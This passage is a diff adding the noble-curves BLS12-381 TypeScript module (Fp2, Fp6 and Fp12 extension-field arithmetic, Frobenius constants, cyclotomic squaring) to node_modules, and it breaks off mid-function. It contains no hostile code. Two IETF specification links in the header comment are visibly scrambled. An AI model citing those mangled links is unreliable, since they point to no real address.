a/node_modules/@noble/curves/src/bls12-381.ts b/node_modules/@noble/curves/src/bls12-381.ts new file mode 100644 index 000000000000..a98d72bd17bd --- /dev/null +++ b/node_modules/@noble/curves/src/bls12-381.ts @@ -0,0 +1,1350 @@ +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ + +// bls12-381 pairing-friendly Barreto-Lynn-Scott elliptic curve construction allows to: +// - Construct zk-SNARKs at the 128-bit security +// - Use threshold signatures, which allows a user to sign lots of messages with one signature and +// verify them swiftly in a batch, using Boneh-Lynn-Shacham signature scheme. +// +// The library uses G1 for public keys and G2 for signatures. Support for G1 signatures is planned. +// Compatible with Algorand, Chia, Dfinity, Ethereum, FIL, Zcash. Matches specs +// [pairing-curves-11](https://tools.ietf.org/html/draft-irtf-cfrg-pairing-friendly-curves-11), +// [bls-sigs-04](https:/cfrg-hash-to/tools.ietf.org/html/draft-irtf-cfrg-bls-signature-04), +// [hash-to-curve-12](https://tools.ietf.org/html/draft-irtf--curve-12). +// +// ### Summary +// 1. BLS Relies on Bilinear Pairing (expensive) +// 2. Private Keys: 32 bytes +// 3. Public Keys: 48 bytes: 381 bit affine x coordinate, encoded into 48 big-endian bytes. +// 4. Signatures: 96 bytes: two 381 bit integers (affine x coordinate), encoded into two 48 big-endian byte arrays. +// - The signature is a point on the G2 subgroup, which is defined over a finite field +// with elements twice as big as the G1 curve (G2 is over Fp2 rather than Fp. Fp2 is analogous to the complex numbers). +// 5. The 12 stands for the Embedding degree. +// +// ### Formulas +// - `P = pk x G` - public keys +// - `S = pk x H(m)` - signing +// - `e(P, H(m)) == e(G, S)` - verification using pairings +// - `e(G, S) = e(G, SUM(n)(Si)) = MUL(n)(e(G, Si))` - signature aggregation +// Filecoin uses little endian byte arrays for private keys - +// so ensure to reverse byte order if you'll use it with FIL. +import { sha256 } from '@noble/hashes/sha256'; +import { randomBytes } from '@noble/hashes/utils'; +import { bls, CurveFn } from './abstract/bls.js'; +import * as mod from './abstract/modular.js'; +import { + concatBytes as concatB, + ensureBytes, + numberToBytesBE, + bytesToNumberBE, + bitLen, + bitSet, + bitGet, + Hex, + bitMask, + bytesToHex, +} from './abstract/utils.js'; +// Types +import { + ProjPointType, + ProjConstructor, + mapToCurveSimpleSWU, + AffinePoint, +} from './abstract/weierstrass.js'; +import { isogenyMap } from './abstract/hash-to-curve.js'; + +// Be friendly to bad ECMAScript parsers by not using bigint literals +// prettier-ignore +const _0n = BigInt(0), _1n = BigInt(1), _2n = BigInt(2), _3n = BigInt(3), _4n = BigInt(4); +// prettier-ignore +const _8n = BigInt(8), _16n = BigInt(16); + +// CURVE FIELDS +// Finite field over p. +const Fp_raw = BigInt( + '0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffaaab' +); +const Fp = mod.Field(Fp_raw); +type Fp = bigint; +// Finite field over r. +// This particular field is not used anywhere in bls12-381, but it is still useful. +const Fr = mod.Field(BigInt('0x73eda753299d7d483339d80809a1d80553bda402fffe5bfeffffffff00000001')); + +// Fp₂ over complex plane +type BigintTuple = [bigint, bigint]; +type Fp2 = { c0: bigint; c1: bigint }; +const Fp2Add = ({ c0, c1 }: Fp2, { c0: r0, c1: r1 }: Fp2) => ({ + c0: Fp.add(c0, r0), + c1: Fp.add(c1, r1), +}); +const Fp2Subtract = ({ c0, c1 }: Fp2, { c0: r0, c1: r1 }: Fp2) => ({ + c0: Fp.sub(c0, r0), + c1: Fp.sub(c1, r1), +}); +const Fp2Multiply = ({ c0, c1 }: Fp2, rhs: Fp2) => { + if (typeof rhs === 'bigint') return { c0: Fp.mul(c0, rhs), c1: Fp.mul(c1, rhs) }; + // (a+bi)(c+di) = (ac−bd) + (ad+bc)i + const { c0: r0, c1: r1 } = rhs; + let t1 = Fp.mul(c0, r0); // c0 * o0 + let t2 = Fp.mul(c1, r1); // c1 * o1 + // (T1 - T2) + ((c0 + c1) * (r0 + r1) - (T1 + T2))*i + const o0 = Fp.sub(t1, t2); + const o1 = Fp.sub(Fp.mul(Fp.add(c0, c1), Fp.add(r0, r1)), Fp.add(t1, t2)); + return { c0: o0, c1: o1 }; +}; +const Fp2Square = ({ c0, c1 }: Fp2) => { + const a = Fp.add(c0, c1); + const b = Fp.sub(c0, c1); + const c = Fp.add(c0, c0); + return { c0: Fp.mul(a, b), c1: Fp.mul(c, c1) }; +}; +type Fp2Utils = { + fromBigTuple: (tuple: BigintTuple | bigint[]) => Fp2; + reim: (num: Fp2) => { re: bigint; im: bigint }; + mulByNonresidue: (num: Fp2) => Fp2; + multiplyByB: (num: Fp2) => Fp2; + frobeniusMap(num: Fp2, power: number): Fp2; +}; +// G2 is the order-q subgroup of E2(Fp²) : y² = x³+4(1+√−1), +// where Fp2 is Fp[√−1]/(x2+1). #E2(Fp2 ) = h2q, where +// G² - 1 +// h2q +// NOTE: ORDER was wrong! +const FP2_ORDER = Fp_raw * Fp_raw; + +const Fp2: mod.IField & Fp2Utils = { + ORDER: FP2_ORDER, + BITS: bitLen(FP2_ORDER), + BYTES: Math.ceil(bitLen(FP2_ORDER) / 8), + MASK: bitMask(bitLen(FP2_ORDER)), + ZERO: { c0: Fp.ZERO, c1: Fp.ZERO }, + ONE: { c0: Fp.ONE, c1: Fp.ZERO }, + create: (num) => num, + isValid: ({ c0, c1 }) => typeof c0 === 'bigint' && typeof c1 === 'bigint', + is0: ({ c0, c1 }) => Fp.is0(c0) && Fp.is0(c1), + eql: ({ c0, c1 }: Fp2, { c0: r0, c1: r1 }: Fp2) => Fp.eql(c0, r0) && Fp.eql(c1, r1), + neg: ({ c0, c1 }) => ({ c0: Fp.neg(c0), c1: Fp.neg(c1) }), + pow: (num, power) => mod.FpPow(Fp2, num, power), + invertBatch: (nums) => mod.FpInvertBatch(Fp2, nums), + // Normalized + add: Fp2Add, + sub: Fp2Subtract, + mul: Fp2Multiply, + sqr: Fp2Square, + // NonNormalized stuff + addN: Fp2Add, + subN: Fp2Subtract, + mulN: Fp2Multiply, + sqrN: Fp2Square, + // Why inversion for bigint inside Fp instead of Fp2? it is even used in that context? + div: (lhs, rhs) => Fp2.mul(lhs, typeof rhs === 'bigint' ? Fp.inv(Fp.create(rhs)) : Fp2.inv(rhs)), + inv: ({ c0: a, c1: b }) => { + // We wish to find the multiplicative inverse of a nonzero + // element a + bu in Fp2. We leverage an identity + // + // (a + bu)(a - bu) = a² + b² + // + // which holds because u² = -1. This can be rewritten as + // + // (a + bu)(a - bu)/(a² + b²) = 1 + // + // because a² + b² = 0 has no nonzero solutions for (a, b). + // This gives that (a - bu)/(a² + b²) is the inverse + // of (a + bu). Importantly, this can be computing using + // only a single inversion in Fp. + const factor = Fp.inv(Fp.create(a * a + b * b)); + return { c0: Fp.mul(factor, Fp.create(a)), c1: Fp.mul(factor, Fp.create(-b)) }; + }, + sqrt: (num) => { + if (Fp2.eql(num, Fp2.ZERO)) return Fp2.ZERO; // Algo doesn't handles this case + // TODO: Optimize this line. It's extremely slow. + // Speeding this up would boost aggregateSignatures. + // https://eprint.iacr.org/2012/685.pdf applicable? + // https://github.com/zkcrypto/bls12_381/blob/080eaa74ec0e394377caa1ba302c8c121df08b07/src/fp2.rs#L250 + // https://github.com/supranational/blst/blob/aae0c7d70b799ac269ff5edf29d8191dbd357876/src/exp2.c#L1 + // Inspired by https://github.com/dalek-cryptography/curve25519-dalek/blob/17698df9d4c834204f83a3574143abacb4fc81a5/src/field.rs#L99 + const candidateSqrt = Fp2.pow(num, (Fp2.ORDER + _8n) / _16n); + const check = Fp2.div(Fp2.sqr(candidateSqrt), num); // candidateSqrt.square().div(this); + const R = FP2_ROOTS_OF_UNITY; + const divisor = [R[0], R[2], R[4], R[6]].find((r) => Fp2.eql(r, check)); + if (!divisor) throw new Error('No root'); + const index = R.indexOf(divisor); + const root = R[index / 2]; + if (!root) throw new Error('Invalid root'); + const x1 = Fp2.div(candidateSqrt, root); + const x2 = Fp2.neg(x1); + const { re: re1, im: im1 } = Fp2.reim(x1); + const { re: re2, im: im2 } = Fp2.reim(x2); + if (im1 > im2 || (im1 === im2 && re1 > re2)) return x1; + return x2; + }, + // Same as sgn0_m_eq_2 in RFC 9380 + isOdd: (x: Fp2) => { + const { re: x0, im: x1 } = Fp2.reim(x); + const sign_0 = x0 % _2n; + const zero_0 = x0 === _0n; + const sign_1 = x1 % _2n; + return BigInt(sign_0 || (zero_0 && sign_1)) == _1n; + }, + // Bytes util + fromBytes(b: Uint8Array): Fp2 { + if (b.length !== Fp2.BYTES) throw new Error(`fromBytes wrong length=${b.length}`); + return { c0: Fp.fromBytes(b.subarray(0, Fp.BYTES)), c1: Fp.fromBytes(b.subarray(Fp.BYTES)) }; + }, + toBytes: ({ c0, c1 }) => concatB(Fp.toBytes(c0), Fp.toBytes(c1)), + cmov: ({ c0, c1 }, { c0: r0, c1: r1 }, c) => ({ + c0: Fp.cmov(c0, r0, c), + c1: Fp.cmov(c1, r1, c), + }), + // Specific utils + // toString() { + // return `Fp2(${this.c0} + ${this.c1}×i)`; + // } + reim: ({ c0, c1 }) => ({ re: c0, im: c1 }), + // multiply by u + 1 + mulByNonresidue: ({ c0, c1 }) => ({ c0: Fp.sub(c0, c1), c1: Fp.add(c0, c1) }), + multiplyByB: ({ c0, c1 }) => { + let t0 = Fp.mul(c0, _4n); // 4 * c0 + let t1 = Fp.mul(c1, _4n); // 4 * c1 + // (T0-T1) + (T0+T1)*i + return { c0: Fp.sub(t0, t1), c1: Fp.add(t0, t1) }; + }, + fromBigTuple: (tuple: BigintTuple | bigint[]) => { + if (tuple.length !== 2) throw new Error('Invalid tuple'); + const fps = tuple.map((n) => Fp.create(n)) as [Fp, Fp]; + return { c0: fps[0], c1: fps[1] }; + }, + frobeniusMap: ({ c0, c1 }, power: number): Fp2 => ({ + c0, + c1: Fp.mul(c1, FP2_FROBENIUS_COEFFICIENTS[power % 2]), + }), +}; +// Finite extension field over irreducible polynominal. +// Fp(u) / (u² - β) where β = -1 +const FP2_FROBENIUS_COEFFICIENTS = [ + BigInt('0x1'), + BigInt( + '0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffaaaa' + ), +].map((item) => Fp.create(item)); + +// For Fp2 roots of unity. +const rv1 = BigInt( + '0x6af0e0437ff400b6831e36d6bd17ffe48395dabc2d3435e77f76e17009241c5ee67992f72ec05f4c81084fbede3cc09' +); +// const ev1 = +// BigInt('0x699be3b8c6870965e5bf892ad5d2cc7b0e85a117402dfd83b7f4a947e02d978498255a2aaec0ac627b5afbdf1bf1c90'); +// const ev2 = +// BigInt('0x8157cd83046453f5dd0972b6e3949e4288020b5b8a9cc99ca07e27089a2ce2436d965026adad3ef7baba37f2183e9b5'); +// const ev3 = +// BigInt('0xab1c2ffdd6c253ca155231eb3e71ba044fd562f6f72bc5bad5ec46a0b7a3b0247cf08ce6c6317f40edbc653a72dee17'); +// const ev4 = +// BigInt('0xaa404866706722864480885d68ad0ccac1967c7544b447873cc37e0181271e006df72162a3d3e0287bf597fbf7f8fc1'); + +// Eighth roots of unity, used for computing square roots in Fp2. +// To verify or re-calculate: +// Array(8).fill(new Fp2([1n, 1n])).map((fp2, k) => fp2.pow(Fp2.ORDER * BigInt(k) / 8n)) +const FP2_ROOTS_OF_UNITY = [ + [_1n, _0n], + [rv1, -rv1], + [_0n, _1n], + [rv1, rv1], + [-_1n, _0n], + [-rv1, rv1], + [_0n, -_1n], + [-rv1, -rv1], +].map((pair) => Fp2.fromBigTuple(pair)); +// eta values, used for computing sqrt(g(X1(t))) +// const FP2_ETAs = [ +// [ev1, ev2], +// [-ev2, ev1], +// [ev3, ev4], +// [-ev4, ev3], +// ].map((pair) => Fp2.fromBigTuple(pair)); + +// Finite extension field over irreducible polynominal. +// Fp2(v) / (v³ - ξ) where ξ = u + 1 +type BigintSix = [bigint, bigint, bigint, bigint, bigint, bigint]; +type Fp6 = { c0: Fp2; c1: Fp2; c2: Fp2 }; +const Fp6Add = ({ c0, c1, c2 }: Fp6, { c0: r0, c1: r1, c2: r2 }: Fp6) => ({ + c0: Fp2.add(c0, r0), + c1: Fp2.add(c1, r1), + c2: Fp2.add(c2, r2), +}); +const Fp6Subtract = ({ c0, c1, c2 }: Fp6, { c0: r0, c1: r1, c2: r2 }: Fp6) => ({ + c0: Fp2.sub(c0, r0), + c1: Fp2.sub(c1, r1), + c2: Fp2.sub(c2, r2), +}); +const Fp6Multiply = ({ c0, c1, c2 }: Fp6, rhs: Fp6 | bigint) => { + if (typeof rhs === 'bigint') { + return { + c0: Fp2.mul(c0, rhs), + c1: Fp2.mul(c1, rhs), + c2: Fp2.mul(c2, rhs), + }; + } + const { c0: r0, c1: r1, c2: r2 } = rhs; + const t0 = Fp2.mul(c0, r0); // c0 * o0 + const t1 = Fp2.mul(c1, r1); // c1 * o1 + const t2 = Fp2.mul(c2, r2); // c2 * o2 + return { + // t0 + (c1 + c2) * (r1 * r2) - (T1 + T2) * (u + 1) + c0: Fp2.add( + t0, + Fp2.mulByNonresidue(Fp2.sub(Fp2.mul(Fp2.add(c1, c2), Fp2.add(r1, r2)), Fp2.add(t1, t2))) + ), + // (c0 + c1) * (r0 + r1) - (T0 + T1) + T2 * (u + 1) + c1: Fp2.add( + Fp2.sub(Fp2.mul(Fp2.add(c0, c1), Fp2.add(r0, r1)), Fp2.add(t0, t1)), + Fp2.mulByNonresidue(t2) + ), + // T1 + (c0 + c2) * (r0 + r2) - T0 + T2 + c2: Fp2.sub(Fp2.add(t1, Fp2.mul(Fp2.add(c0, c2), Fp2.add(r0, r2))), Fp2.add(t0, t2)), + }; +}; +const Fp6Square = ({ c0, c1, c2 }: Fp6) => { + let t0 = Fp2.sqr(c0); // c0² + let t1 = Fp2.mul(Fp2.mul(c0, c1), _2n); // 2 * c0 * c1 + let t3 = Fp2.mul(Fp2.mul(c1, c2), _2n); // 2 * c1 * c2 + let t4 = Fp2.sqr(c2); // c2² + return { + c0: Fp2.add(Fp2.mulByNonresidue(t3), t0), // T3 * (u + 1) + T0 + c1: Fp2.add(Fp2.mulByNonresidue(t4), t1), // T4 * (u + 1) + T1 + // T1 + (c0 - c1 + c2)² + T3 - T0 - T4 + c2: Fp2.sub(Fp2.sub(Fp2.add(Fp2.add(t1, Fp2.sqr(Fp2.add(Fp2.sub(c0, c1), c2))), t3), t0), t4), + }; +}; +type Fp6Utils = { + fromBigSix: (tuple: BigintSix) => Fp6; + mulByNonresidue: (num: Fp6) => Fp6; + frobeniusMap(num: Fp6, power: number): Fp6; + multiplyBy1(num: Fp6, b1: Fp2): Fp6; + multiplyBy01(num: Fp6, b0: Fp2, b1: Fp2): Fp6; + multiplyByFp2(lhs: Fp6, rhs: Fp2): Fp6; +}; + +const Fp6: mod.IField & Fp6Utils = { + ORDER: Fp2.ORDER, // TODO: unused, but need to verify + BITS: 3 * Fp2.BITS, + BYTES: 3 * Fp2.BYTES, + MASK: bitMask(3 * Fp2.BITS), + ZERO: { c0: Fp2.ZERO, c1: Fp2.ZERO, c2: Fp2.ZERO }, + ONE: { c0: Fp2.ONE, c1: Fp2.ZERO, c2: Fp2.ZERO }, + create: (num) => num, + isValid: ({ c0, c1, c2 }) => Fp2.isValid(c0) && Fp2.isValid(c1) && Fp2.isValid(c2), + is0: ({ c0, c1, c2 }) => Fp2.is0(c0) && Fp2.is0(c1) && Fp2.is0(c2), + neg: ({ c0, c1, c2 }) => ({ c0: Fp2.neg(c0), c1: Fp2.neg(c1), c2: Fp2.neg(c2) }), + eql: ({ c0, c1, c2 }, { c0: r0, c1: r1, c2: r2 }) => + Fp2.eql(c0, r0) && Fp2.eql(c1, r1) && Fp2.eql(c2, r2), + sqrt: () => { + throw new Error('Not implemented'); + }, + // Do we need division by bigint at all? Should be done via order: + div: (lhs, rhs) => Fp6.mul(lhs, typeof rhs === 'bigint' ? Fp.inv(Fp.create(rhs)) : Fp6.inv(rhs)), + pow: (num, power) => mod.FpPow(Fp6, num, power), + invertBatch: (nums) => mod.FpInvertBatch(Fp6, nums), + // Normalized + add: Fp6Add, + sub: Fp6Subtract, + mul: Fp6Multiply, + sqr: Fp6Square, + // NonNormalized stuff + addN: Fp6Add, + subN: Fp6Subtract, + mulN: Fp6Multiply, + sqrN: Fp6Square, + + inv: ({ c0, c1, c2 }) => { + let t0 = Fp2.sub(Fp2.sqr(c0), Fp2.mulByNonresidue(Fp2.mul(c2, c1))); // c0² - c2 * c1 * (u + 1) + let t1 = Fp2.sub(Fp2.mulByNonresidue(Fp2.sqr(c2)), Fp2.mul(c0, c1)); // c2² * (u + 1) - c0 * c1 + let t2 = Fp2.sub(Fp2.sqr(c1), Fp2.mul(c0, c2)); // c1² - c0 * c2 + // 1/(((c2 * T1 + c1 * T2) * v) + c0 * T0) + let t4 = Fp2.inv( + Fp2.add(Fp2.mulByNonresidue(Fp2.add(Fp2.mul(c2, t1), Fp2.mul(c1, t2))), Fp2.mul(c0, t0)) + ); + return { c0: Fp2.mul(t4, t0), c1: Fp2.mul(t4, t1), c2: Fp2.mul(t4, t2) }; + }, + // Bytes utils + fromBytes: (b: Uint8Array): Fp6 => { + if (b.length !== Fp6.BYTES) throw new Error(`fromBytes wrong length=${b.length}`); + return { + c0: Fp2.fromBytes(b.subarray(0, Fp2.BYTES)), + c1: Fp2.fromBytes(b.subarray(Fp2.BYTES, 2 * Fp2.BYTES)), + c2: Fp2.fromBytes(b.subarray(2 * Fp2.BYTES)), + }; + }, + toBytes: ({ c0, c1, c2 }): Uint8Array => + concatB(Fp2.toBytes(c0), Fp2.toBytes(c1), Fp2.toBytes(c2)), + cmov: ({ c0, c1, c2 }: Fp6, { c0: r0, c1: r1, c2: r2 }: Fp6, c) => ({ + c0: Fp2.cmov(c0, r0, c), + c1: Fp2.cmov(c1, r1, c), + c2: Fp2.cmov(c2, r2, c), + }), + // Utils + // fromTriple(triple: [Fp2, Fp2, Fp2]) { + // return new Fp6(...triple); + // } + // toString() { + // return `Fp6(${this.c0} + ${this.c1} * v, ${this.c2} * v^2)`; + // } + fromBigSix: (t: BigintSix): Fp6 => { + if (!Array.isArray(t) || t.length !== 6) throw new Error('Invalid Fp6 usage'); + return { + c0: Fp2.fromBigTuple(t.slice(0, 2)), + c1: Fp2.fromBigTuple(t.slice(2, 4)), + c2: Fp2.fromBigTuple(t.slice(4, 6)), + }; + }, + frobeniusMap: ({ c0, c1, c2 }, power: number) => ({ + c0: Fp2.frobeniusMap(c0, power), + c1: Fp2.mul(Fp2.frobeniusMap(c1, power), FP6_FROBENIUS_COEFFICIENTS_1[power % 6]), + c2: Fp2.mul(Fp2.frobeniusMap(c2, power), FP6_FROBENIUS_COEFFICIENTS_2[power % 6]), + }), + mulByNonresidue: ({ c0, c1, c2 }) => ({ c0: Fp2.mulByNonresidue(c2), c1: c0, c2: c1 }), + + // Sparse multiplication + multiplyBy1: ({ c0, c1, c2 }, b1: Fp2): Fp6 => ({ + c0: Fp2.mulByNonresidue(Fp2.mul(c2, b1)), + c1: Fp2.mul(c0, b1), + c2: Fp2.mul(c1, b1), + }), + // Sparse multiplication + multiplyBy01({ c0, c1, c2 }, b0: Fp2, b1: Fp2): Fp6 { + let t0 = Fp2.mul(c0, b0); // c0 * b0 + let t1 = Fp2.mul(c1, b1); // c1 * b1 + return { + // ((c1 + c2) * b1 - T1) * (u + 1) + T0 + c0: Fp2.add(Fp2.mulByNonresidue(Fp2.sub(Fp2.mul(Fp2.add(c1, c2), b1), t1)), t0), + // (b0 + b1) * (c0 + c1) - T0 - T1 + c1: Fp2.sub(Fp2.sub(Fp2.mul(Fp2.add(b0, b1), Fp2.add(c0, c1)), t0), t1), + // (c0 + c2) * b0 - T0 + T1 + c2: Fp2.add(Fp2.sub(Fp2.mul(Fp2.add(c0, c2), b0), t0), t1), + }; + }, + + multiplyByFp2: ({ c0, c1, c2 }, rhs: Fp2): Fp6 => ({ + c0: Fp2.mul(c0, rhs), + c1: Fp2.mul(c1, rhs), + c2: Fp2.mul(c2, rhs), + }), +}; + +const FP6_FROBENIUS_COEFFICIENTS_1 = [ + [BigInt('0x1'), BigInt('0x0')], + [ + BigInt('0x0'), + BigInt( + '0x1a0111ea397fe699ec02408663d4de85aa0d857d89759ad4897d29650fb85f9b409427eb4f49fffd8bfd00000000aaac' + ), + ], + [ + BigInt( + '0x00000000000000005f19672fdf76ce51ba69c6076a0f77eaddb3a93be6f89688de17d813620a00022e01fffffffefffe' + ), + BigInt('0x0'), + ], + [BigInt('0x0'), BigInt('0x1')], + [ + BigInt( + '0x1a0111ea397fe699ec02408663d4de85aa0d857d89759ad4897d29650fb85f9b409427eb4f49fffd8bfd00000000aaac' + ), + BigInt('0x0'), + ], + [ + BigInt('0x0'), + BigInt( + '0x00000000000000005f19672fdf76ce51ba69c6076a0f77eaddb3a93be6f89688de17d813620a00022e01fffffffefffe' + ), + ], +].map((pair) => Fp2.fromBigTuple(pair)); +const FP6_FROBENIUS_COEFFICIENTS_2 = [ + [BigInt('0x1'), BigInt('0x0')], + [ + BigInt( + '0x1a0111ea397fe699ec02408663d4de85aa0d857d89759ad4897d29650fb85f9b409427eb4f49fffd8bfd00000000aaad' + ), + BigInt('0x0'), + ], + [ + BigInt( + '0x1a0111ea397fe699ec02408663d4de85aa0d857d89759ad4897d29650fb85f9b409427eb4f49fffd8bfd00000000aaac' + ), + BigInt('0x0'), + ], + [ + BigInt( + '0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffaaaa' + ), + BigInt('0x0'), + ], + [ + BigInt( + '0x00000000000000005f19672fdf76ce51ba69c6076a0f77eaddb3a93be6f89688de17d813620a00022e01fffffffefffe' + ), + BigInt('0x0'), + ], + [ + BigInt( + '0x00000000000000005f19672fdf76ce51ba69c6076a0f77eaddb3a93be6f89688de17d813620a00022e01fffffffeffff' + ), + BigInt('0x0'), + ], +].map((pair) => Fp2.fromBigTuple(pair)); + +// Finite extension field over irreducible polynominal. +// Fp₁₂ = Fp₆² => Fp₂³ +// Fp₆(w) / (w² - γ) where γ = v +type Fp12 = { c0: Fp6; c1: Fp6 }; +// The BLS parameter x for BLS12-381 +const BLS_X = BigInt('0xd201000000010000'); +const BLS_X_LEN = bitLen(BLS_X); + +// prettier-ignore +type BigintTwelve = [ + bigint, bigint, bigint, bigint, bigint, bigint, + bigint, bigint, bigint, bigint, bigint, bigint + ]; +const Fp12Add = ({ c0, c1 }: Fp12, { c0: r0, c1: r1 }: Fp12) => ({ + c0: Fp6.add(c0, r0), + c1: Fp6.add(c1, r1), +}); +const Fp12Subtract = ({ c0, c1 }: Fp12, { c0: r0, c1: r1 }: Fp12) => ({ + c0: Fp6.sub(c0, r0), + c1: Fp6.sub(c1, r1), +}); +const Fp12Multiply = ({ c0, c1 }: Fp12, rhs: Fp12 | bigint) => { + if (typeof rhs === 'bigint') return { c0: Fp6.mul(c0, rhs), c1: Fp6.mul(c1, rhs) }; + let { c0: r0, c1: r1 } = rhs; + let t1 = Fp6.mul(c0, r0); // c0 * r0 + let t2 = Fp6.mul(c1, r1); // c1 * r1 + return { + c0: Fp6.add(t1, Fp6.mulByNonresidue(t2)), // T1 + T2 * v + // (c0 + c1) * (r0 + r1) - (T1 + T2) + c1: Fp6.sub(Fp6.mul(Fp6.add(c0, c1), Fp6.add(r0, r1)), Fp6.add(t1, t2)), + }; +}; +const Fp12Square = ({ c0, c1 }: Fp12) => { + let ab = Fp6.mul(c0, c1); // c0 * c1 + return { + // (c1 * v + c0) * (c0 + c1) - AB - AB * v + c0: Fp6.sub( + Fp6.sub(Fp6.mul(Fp6.add(Fp6.mulByNonresidue(c1), c0), Fp6.add(c0, c1)), ab), + Fp6.mulByNonresidue(ab) + ), + c1: Fp6.add(ab, ab), + }; // AB + AB +}; +function Fp4Square(a: Fp2, b: Fp2): { first: Fp2; second: Fp2 } { + const a2 = Fp2.sqr(a); + const b2 = Fp2.sqr(b); + return { + first: Fp2.add(Fp2.mulByNonresidue(b2), a2), // b² * Nonresidue + a² + second: Fp2.sub(Fp2.sub(Fp2.sqr(Fp2.add(a, b)), a2), b2), // (a + b)² - a² - b² + }; +} +type Fp12Utils = { + fromBigTwelve: (t: BigintTwelve) => Fp12; + frobeniusMap(num: Fp12, power: number): Fp12; + multiplyBy014(num: Fp12, o0: Fp2, o1: Fp2, o4: Fp2): Fp12; + multiplyByFp2(lhs: Fp12, rhs: Fp2): Fp12; + conjugate(num: Fp12): Fp12; + finalExponentiate(num: Fp12): Fp12; + _cyclotomicSquare(num: Fp12): Fp12; + _cyclotomicExp(num: Fp12, n: bigint): Fp12; +}; + +const Fp12: mod.IField & Fp12Utils = { + ORDER: Fp2.ORDER, // TODO: unused, but need to verify + BITS: 2 * Fp2.BITS, + BYTES: 2 * Fp2.BYTES, + MASK: bitMask(2 * Fp2.BITS), + ZERO: { c0: Fp6.ZERO, c1: Fp6.ZERO }, + ONE: { c0: Fp6.ONE, c1: Fp6.ZERO }, + create: (num) => num, + isValid: ({ c0, c1 }) => Fp6.isValid(c0) && Fp6.isValid(c1), + is0: ({ c0, c1 }) => Fp6.is0(c0) && Fp6.is0(c1), + neg: ({ c0, c1 }) => ({ c0: Fp6.neg(c0), c1: Fp6.neg(c1) }), + eql: ({ c0, c1 }, { c0: r0, c1: r1 }) => Fp6.eql(c0, r0) && Fp6.eql(c1, r1), + sqrt: () => { + throw new Error('Not implemented'); + }, + inv: ({ c0, c1 }) => { + let t = Fp6.inv(Fp6.sub(Fp6.sqr(c0), Fp6.mulByNonresidue(Fp6.sqr(c1)))); // 1 / (c0² - c1² * v) + return { c0: Fp6.mul(c0, t), c1: Fp6.neg(Fp6.mul(c1, t)) }; // ((C0 * T) * T) + (-C1 * T) * w + }, + div: (lhs, rhs) => + Fp12.mul(lhs, typeof rhs === 'bigint' ? Fp.inv(Fp.create(rhs)) : Fp12.inv(rhs)), + pow: (num, power) => mod.FpPow(Fp12, num, power), + invertBatch: (nums) => mod.FpInvertBatch(Fp12, nums), + // Normalized + add: Fp12Add, + sub: Fp12Subtract, + mul: Fp12Multiply, + sqr: Fp12Square, + // NonNormalized stuff + addN: Fp12Add, + subN: Fp12Subtract, + mulN: Fp12Multiply, + sqrN: Fp12Square, + + // Bytes utils + fromBytes: (b: Uint8Array): Fp12 => { + if (b.length !== Fp12.BYTES) throw new Error(`fromBytes wrong length=${b.length}`); + return { + c0: Fp6.fromBytes(b.subarray(0, Fp6.BYTES)), + c1: Fp6.fromBytes(b.subarray(Fp6.BYTES)), + }; + }, + toBytes: ({ c0, c1 }): Uint8Array => concatB(Fp6.toBytes(c0), Fp6.toBytes(c1)), + cmov: ({ c0, c1 }, { c0: r0, c1: r1 }, c) => ({ + c0: Fp6.cmov(c0, r0, c), + c1: Fp6.cmov(c1, r1, c), + }), + // Utils + // toString() { + // return `Fp12(${this.c0} + ${this.c1} * w)`; + // }, + // fromTuple(c: [Fp6, Fp6]) { + // return new Fp12(...c); + // } + fromBigTwelve: (t: BigintTwelve): Fp12 => ({ + c0: Fp6.fromBigSix(t.slice(0, 6) as BigintSix), + c1: Fp6.fromBigSix(t.slice(6, 12) as BigintSix), + }), + // Raises to q**i -th power + frobeniusMap(lhs, power: number) { + const r0 = Fp6.frobeniusMap(lhs.c0, power); + const { c0, c1, c2 } = Fp6.frobeniusMap(lhs.c1, power); + const coeff = FP12_FROBENIUS_COEFFICIENTS[power % 12]; + return { + c0: r0, + c1: Fp6.create({ + c0: Fp2.mul(c0, coeff), + c1: Fp2.mul(c1, coeff), + c2: Fp2.mul(c2, coeff), + }), + }; + }, + // Sparse multiplication + multiplyBy014: ({ c0, c1 }, o0: Fp2, o1: Fp2, o4: Fp2) => { + let t0 = Fp6.multiplyBy01(c0, o0, o1); + let t1 = Fp6.multiplyBy1(c1, o4); + return { + c0: Fp6.add(Fp6.mulByNonresidue(t1), t0), // T1 * v + T0 + // (c1 + c0) * [o0, o1+o4] - T0 - T1 + c1: Fp6.sub(Fp6.sub(Fp6.multiplyBy01(Fp6.add(c1, c0), o0, Fp2.add(o1, o4)), t0), t1), + }; + }, + multiplyByFp2: ({ c0, c1 }, rhs: Fp2): Fp12 => ({ + c0: Fp6.multiplyByFp2(c0, rhs), + c1: Fp6.multiplyByFp2(c1, rhs), + }), + conjugate: ({ c0, c1 }): Fp12 => ({ c0, c1: Fp6.neg(c1) }), + + // A cyclotomic group is a subgroup of Fp^n defined by + // GΦₙ(p) = {α ∈ Fpⁿ : α^Φₙ(p) = 1} + // The result of any pairing is in a cyclotomic subgroup + // https://eprint.iacr.org/2009/565.pdf + _cyclotomicSquare: ({ c0, c1 }): Fp12 => { + const { c0: c0c0, c1: c0c1, c2: c0c2 } = c0; + const { c0: c1c0, c1: c1c1, c2: c1c2 } = c1; + const { first: t3, second: t4 } = Fp4Square(c0c0, c1c1); + const { first: t5, second: t6 } = Fp4Square(c1c0, c0c2); + const { first: t7, second: t8 } = Fp4Square(c0c1, c1c2); + let t9 = Fp2.mulByNonresidue(t8); // T8 * (u + 1) + return { + c0: Fp6.create({ + c0: Fp2.add(Fp2.mul(Fp2.sub(t3, c0c0), _2n), t3), // 2 * (T3 - c0c0) + T3 + c1: Fp2.add(Fp2.mul(Fp2.sub(t5, c0c1), _2n), t5), // 2 * (T5 - c0c1) + T5 + c2: Fp2.add(Fp2.mul(Fp2.sub(t7, c0c2), _2n), t7), + }), // 2 * (T7 - c0c2) + T7 + c1: Fp6.create({ + c0: Fp2.add(Fp2.mul(Fp2.add(t9, c1c0), _2n), t9), // 2 * (T9 + c1c0) + T9 + c1: Fp2.add(Fp2.mul(Fp2.add(t4, 